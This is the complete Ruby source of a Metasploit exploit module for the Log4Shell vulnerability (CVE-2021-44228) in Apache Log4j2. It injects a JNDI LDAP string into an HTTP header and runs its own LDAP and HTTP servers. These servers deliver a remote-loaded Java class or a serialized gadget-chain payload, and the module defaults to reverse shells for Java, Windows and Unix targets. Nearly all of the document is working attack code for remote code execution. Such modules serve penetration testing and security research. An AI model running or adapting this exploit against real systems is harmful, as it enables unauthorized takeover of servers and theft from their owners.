Description
This Metasploit module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit and load a payload. The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP server in addition to the LDAP server that the target can connect to. The targeted application must have the trusted code base option enabled for this technique to work. The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::JavaDeserialization
include Msf::Exploit::Java
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::LDAP::Server
include Msf::Exploit::Remote::CheckModule
prepend Msf::Exploit::Remote::AutoCheck
def initialize(_info = {})
super(
'Name' => 'Log4Shell HTTP Header Injection',
'Description' => %q{
Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration,
log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints.
This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that
will trigger an LDAP connection to Metasploit and load a payload.
The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP
server in addition to the LDAP server that the target can connect to. The targeted application must have the
trusted code base option enabled for this technique to work.
The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to
run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target
application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option.
},
'Author' => [
'Michael Schierl', # Technical guidance, examples, and patience - all of the Jedi stuff
'juan vazquez', # 2011-3544 building blocks reused in this module
'sinn3r', # 2011-3544 building blocks reused in this module
'Spencer McIntyre', # Kickoff on 2021-44228 work, improvements, and polish required for formal acceptance
'RageLtMan <rageltman[at]sempervictus>' # Metasploit module and infrastructure
],
'References' => [
[ 'CVE', '2021-44228' ],
],
'DisclosureDate' => '2021-12-09',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'SRVPORT' => 389,
'WfsDelay' => 30,
'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner'
},
'Targets' => [
[
'Automatic', {
'Platform' => 'java',
'Arch' => [ARCH_JAVA],
'RemoteLoad' => true,
'DefaultOptions' => {
'PAYLOAD' => 'java/shell_reverse_tcp'
}
}
],
[
'Windows', {
'Platform' => 'win',
'RemoteLoad' => false,
'DefaultOptions' => {
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
}
},
],
[
'Linux', {
'Platform' => 'unix',
'RemoteLoad' => false,
'Arch' => [ARCH_CMD],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
},
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'AKA' => ['Log4Shell', 'LogJam'],
'Reliability' => [REPEATABLE_SESSION],
'RelatedModules' => [ 'auxiliary/scanner/http/log4shell_scanner' ]
},
'Stance' => Msf::Exploit::Stance::Aggressive
)
register_options([
OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),
OptString.new('TARGETURI', [ true, 'The URI to scan', '/']),
OptString.new('HTTP_HEADER', [ false, 'The HTTP header to inject into' ]),
OptEnum.new('JAVA_GADGET_CHAIN', [
true, 'The ysoserial payload to use for deserialization', 'CommonsBeanutils1',
Msf::Util::JavaDeserialization.ysoserial_payload_names
], conditions: %w[TARGET != Automatic]),
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic]),
OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])
])
end
def check
validate_configuration!
# set these scanner options as appropriate based on the config
datastore['URIS_FILE'] = nil
if !datastore['HTTP_HEADER'].blank?
datastore['HEADERS_FILE'] = nil
end
@checkcode = super
end
def jndi_string
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"
end
def resource_url_string
"http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}"
end
#
# Use Ruby Java bridge to create a Java-natively-serialized object
#
# @return [String] Marshalled serialized byteArray of the loader class
def byte_array_payload(pay_class = 'metasploit.PayloadFactory')
jar = generate_payload.encoded_jar
serialized_class_from_jar(jar, pay_class)
end
#
# Insert PayloadFactory in Java payload JAR
#
# @param jar [Rex::Zip::Jar] payload JAR to update
# @return [Rex::Zip::Jar] updated payload JAR
def inject_jar_payload_factory(jar = generate_payload.encoded_jar)
# From exploits/multi/browser/java_rhino - should probably go to lib
paths = [
[ 'metasploit/PayloadFactory.class' ]
]
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0, idx].join('/') + '/'
jar.add_file(full, '') unless jar.entries.map(&:name).include?(full)
end
File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd|
data = fd.read(fd.stat.size)
jar.add_file(path.join('/'), data)
end
end
jar
end
#
# Generate and serialize the payload as an LDAP search response
#
# @param msg_id [Integer] LDAP message identifier
# @param base_dn [Sting] LDAP distinguished name
#
# @return [Array] packed BER sequence
def serialized_payload(msg_id, base_dn, pay_class = 'metasploit.PayloadFactory')
if target['RemoteLoad']
attrs = [
[ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
[ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
[ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence,
[ 'javaCodebase'.to_ber, [ resource_url_string.to_ber ].to_ber_set ].to_ber_sequence,
]
else
java_payload = generate_java_deserialization_for_payload(datastore['JAVA_GADGET_CHAIN'], payload)
# vprint_good("Serialized java payload: #{java_payload}")
attrs = [
[ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence,
[ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence
]
end
appseq = [
base_dn.to_ber,
attrs.to_ber_sequence
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
[ msg_id.to_ber, appseq ].to_ber_sequence
end
## LDAP service callbacks
#
# Handle incoming requests via service mixin
#
def on_dispatch_request(client, data)
return if data.strip.empty?
data.extend(Net::BER::Extensions::String)
begin
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
vprint_status("LDAP request data remaining: #{data}") unless data.empty?
resp = case pdu.app_tag
when Net::LDAP::PDU::BindRequest # bind request
client.authenticated = true
service.encode_ldap_response(
pdu.message_id,
Net::LDAP::ResultCodeSuccess,
'',
'',
Net::LDAP::PDU::BindResult
)
when Net::LDAP::PDU::SearchRequest # search request
if client.authenticated || datastore['LDAP_AUTH_BYPASS']
client.write(serialized_payload(pdu.message_id, pdu.search_parameters[:base_object]))
service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)
else
service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
end
else
vprint_status("Client sent unexpected request #{pdu.app_tag}")
client.close
end
resp.nil? ? client.close : on_send_response(client, resp)
rescue StandardError => e
print_error("Failed to handle LDAP request due to #{e}")
client.close
end
resp
end
## HTTP service callbacks
#
# Handle HTTP requests and responses
#
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
vprint_good("Payload requested by #{cli.peerhost} using #{agent}")
pay = regenerate_payload(cli)
jar = inject_jar_payload_factory(pay.encoded_jar)
send_response(cli, 200, 'OK', jar)
end
#
# Create an HTTP response and then send it
#
def send_response(cli, code, message = 'OK', html = '')
proto = Rex::Proto::Http::DefaultProtocol
res = Rex::Proto::Http::Response.new(code, message, proto)
res['Content-Type'] = 'application/java-archive'
res.body = html
cli.send_response(res)
end
def exploit
validate_configuration!
if datastore['HTTP_HEADER'].blank?
targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers]&.empty? }.first
http_header = targetinfo[:headers].keys.first if targetinfo
fail_with(Failure::BadConfig, 'No HTTP_HEADER was specified and none were found automatically') unless http_header
print_good("Automatically identified vulnerable header: #{http_header}")
else
http_header = datastore['HTTP_HEADER']
end
# LDAP service
start_service
# HTTP service
start_http_service if target['RemoteLoad']
# HTTP request initiator
send_request_raw(
'uri' => normalize_uri(target_uri),
'method' => datastore['HTTP_METHOD'],
'headers' => { http_header => jndi_string }
)
sleep(datastore['WfsDelay'])
handler
ensure
cleanup
end
#
# Kill HTTP & LDAP services (shut them down and clear resources)
#
def cleanup
# Clean and stop HTTP server
if @http_service
begin
@http_service.remove_resource(datastore['URIPATH'])
@http_service.deref
@http_service.stop
@http_service = nil
rescue StandardError => e
print_error("Failed to stop http server due to #{e}")
end
end
super
end
private
# Boilerplate HTTP service code
#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar'
path = '/' + path if path !~ %r{^/}
if path !~ /\.jar$/
print_status("Appending .jar extension to #{path} as we don't yet serve classpaths")
path += '.jar'
end
datastore['URIPATH'] = path
return path
end
#
# Handle the HTTP request and return a response. Code borrowed from:
# msf/core/exploit/http/server.rb
#
def start_http_service(opts = {})
comm = datastore['ListenerComm']
if (comm.to_s == 'local')
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTP_SRVPORT'],
'Comm' => comm
}.update(opts)
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self
},
opts['Comm'],
datastore['SSLCert']
)
@http_service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => method(:on_request_uri),
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore['SSL'] ? 'https' : 'http')
print_status("Serving Java code on: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address}:#{opts['ServerPort']}#{uopts['Path']}")
end
# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
end
def validate_configuration!
fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']
fail_with(Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')
end
end
end
